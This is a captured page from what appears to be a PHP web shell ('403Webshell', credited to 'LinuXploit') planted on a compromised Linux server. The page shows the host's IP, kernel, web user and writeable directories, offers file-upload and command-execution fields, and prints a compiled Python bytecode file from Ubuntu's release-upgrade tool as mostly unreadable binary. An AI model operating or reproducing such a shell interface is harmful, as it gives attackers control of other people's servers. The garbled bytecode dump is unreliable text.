403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/DistUpgrade/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/DistUpgrade/__pycache__/ReleaseNotesViewer.cpython-314.pyc
+
�[�i��f�^RIHt^RIHtHtHt^RIt^RItRt!RR]P4t	R#)�)�Pango)�Gtk�GObject�GdkNc��\PPR4'dRV.pMX\PPR4'dRV.pM.\PPR4'dRV.pMRV.p\P!4^8Xd8R\P9d#R	R
\PR,.V,pMX\P!4^8Xd?R\P9d*R	RR
R
\PR,,.V,p\
P!V4R#)z#Open the specified URL in a browserz/usr/bin/xdg-openzxdg-openz/usr/bin/exo-openzexo-openz/usr/bin/gnome-openz
gnome-openz
x-www-browser�	SUDO_USER�sudoz-u�
PKEXEC_UIDz-H�#N)�os�path�exists�getuid�environ�
subprocess�Popen)�url�commands& �@/usr/lib/python3/dist-packages/DistUpgrade/ReleaseNotesViewer.py�open_urlr!s���
�w�w�~�~�)�*�*��s�#��	�����+�	,�	,��s�#��	�����-�	.�	.���%��"�C�(��	�y�y�{�a��K�2�:�:�5��4����K�!8�9�G�C��	�����	�l�b�j�j�8��4������L�1�1�3�5<�=�����W��c�Ja�]tRt^5toRtRtRtRtRtRt	Rt
RtVtR	#)
�ReleaseNotesViewerc�X�\PPV4RVnRVnVP	RR4VPR4VP
\P!R44\P!4VnVPVP4VPPV4VPRVP4VPRVP 4VPRVP"4VP%4R#)	zzInit the ReleaseNotesViewer as an Inheritance of the Gtk.TextView.
Load the notes into the buffer and make links clickableFT�editable�	monospacezbutton-press-eventzmotion-notify-eventzvisibility-notify-eventN)r�__init__�hovering�first�set_property�set_cursor_visible�modify_fontr�FontDescriptionr�
TextBuffer�buffer�
set_buffer�set_text�connect�button_press_event�motion_notify_event�visibility_notify_event�search_links)�self�notess&&rr�ReleaseNotesViewer.__init__6s���	��� � ��&���
���
����*�e�,�����&�����.�.�{�;�<��n�n�&���������$������U�#����)�4�+B�+B�C����*�D�,D�,D�E����.��0L�0L�M����rc��VPPRR\PPR7pW4nVPP
WAV4R#)z@Apply the tag that marks links to the specified buffer selectionN�blue)�
foreground�	underline)r%�
create_tagr�	Underline�SINGLEr�	apply_tag)r-�start�endr�tags&&&& r�tag_link�ReleaseNotesViewer.tag_linkKsF���k�k�$�$�T�f�/4���/E�/E�%�G���������c�#�.rc��VPP^4pVPR\PP
R4pV'gR#Vwr4VP
4pVP4'dVPV4pVR9dMMMVP
4pKDVPV4pVPW4V4TpK�)zaSearch for http URLs in the buffer and call the tag_link method
for each one to tag them as linkszhttp://N)� �)�]�
�	)
r%�get_iter_at_offset�forward_searchr�TextSearchFlags�VISIBLE_ONLY�copy�forward_char�get_textr;)r-�iter�ret�match_start�	match_end�	match_tmp�textrs&       rr,�ReleaseNotesViewer.search_linksRs����{�{�-�-�a�0����%�%�i�&)�&9�&9�&F�&F�&*�,�C���'*�$�[�!���(�I���)�)�+�+�$�-�-�i�8�D��:�:��;��%�N�N�,�	��&�&�y�1�C��M�M�+�#�6��Drc��VP^8wdR#VPP4wr4VP4VP48wdR#VP\PP\VP4\VP44wrVVPWV4pVP4pVF%p	\V	RR4p
V
R8wgK\V
4R#	R# \dL�i;i)zcallback for mouse click eventsFrN�)�buttonr%�get_selection_bounds�
get_offset�
ValueError�window_to_buffer_coordsr�TextWindowType�WIDGET�int�x�y�get_iter_at_location�get_tags�getattrr)r-�	text_view�eventr8r9r[r\rJ�tagsr:rs&&&        rr)�%ReleaseNotesViewer.button_press_eventqs����<�<�1���	��;�;�;�;�=�L�U����!�S�^�^�%5�5��6��-�-�c�.@�.@�.G�.G�.1�%�'�'�l�C����L�J����(�(��.���}�}����C��#�u�d�+�C��b�y���
��	���	��	�s�C8�8D�Dc�<�VP\PP\	VP
4\	VP44wr4VPW44VP\PP4P4R#)zpcallback for the mouse movement event, that calls the
check_hovering method with the mouse postition coordiantesF)rWrrXrYrZr[r\�check_hovering�
get_window�TEXT�get_pointer)r-r`rar[r\s&&&  rr*�&ReleaseNotesViewer.motion_notify_event�sl���0�0��1C�1C�1J�1J�14�U�W�W��s�5�7�7�|�M������A�!�����*�*�/�/�0�<�<�>�rc��VP\PP4pVP	4wrErgVP\PPWV4wr�VPW�4R#)z�callback if the widgets gets visible (e.g. moves to the foreground)
that calls the check_hovering method with the mouse position
coordinatesF)rfrrXrgrhrWrYre)
r-r`ra�window�screen�wx�wy�mod�bx�bys
&&&       rr+�*ReleaseNotesViewer.visibility_notify_event�sg���%�%�c�&8�&8�&=�&=�>�� &� 2� 2� 4���R��4�4����%�%�r�/������B�#�rc���RpVPW4pVP4pVFp\VRR4pVR8wgKRpM	W0P8wgVP'd�RVnW0nVP'dpVP\PP4P\PP\PP44R#VP\PP4P\PP\PP44R#R#)zGCheck if the mouse is above a tagged link and if yes show
a hand cursorFrNrRT)r]r^r_rrrfrrXrg�
set_cursorr�Cursor�new�
CursorType�HAND2�LEFT_PTR)r-r[r\�	_hoveringrJrbr:rs&&&     rre�!ReleaseNotesViewer.check_hovering�s����	��(�(��.���}�}����C��#�u�d�+�C��b�y� �	��	��
�
�%������D�J�%�M��}�}�}����� 2� 2� 7� 7�8�C�C��J�J�N�N�3�>�>�#7�#7�8�:����� 2� 2� 7� 7�8�C�C��J�J�N�N�3�>�>�#:�#:�;�=�*4r)r%rrN)
�__name__�
__module__�__qualname__�__firstlineno__rr;r,r)r*r+re�__static_attributes__�__classdictcell__)�
__classdict__s@rrr5s-�����*/��>�6�	�=�=rr)
�
gi.repositoryrrrrrrr�TextViewr�rr�<module>r�s-��6 �+�+�	���(D=����D=r

Youez - 2016 - github.com/yon3zu
LinuXploit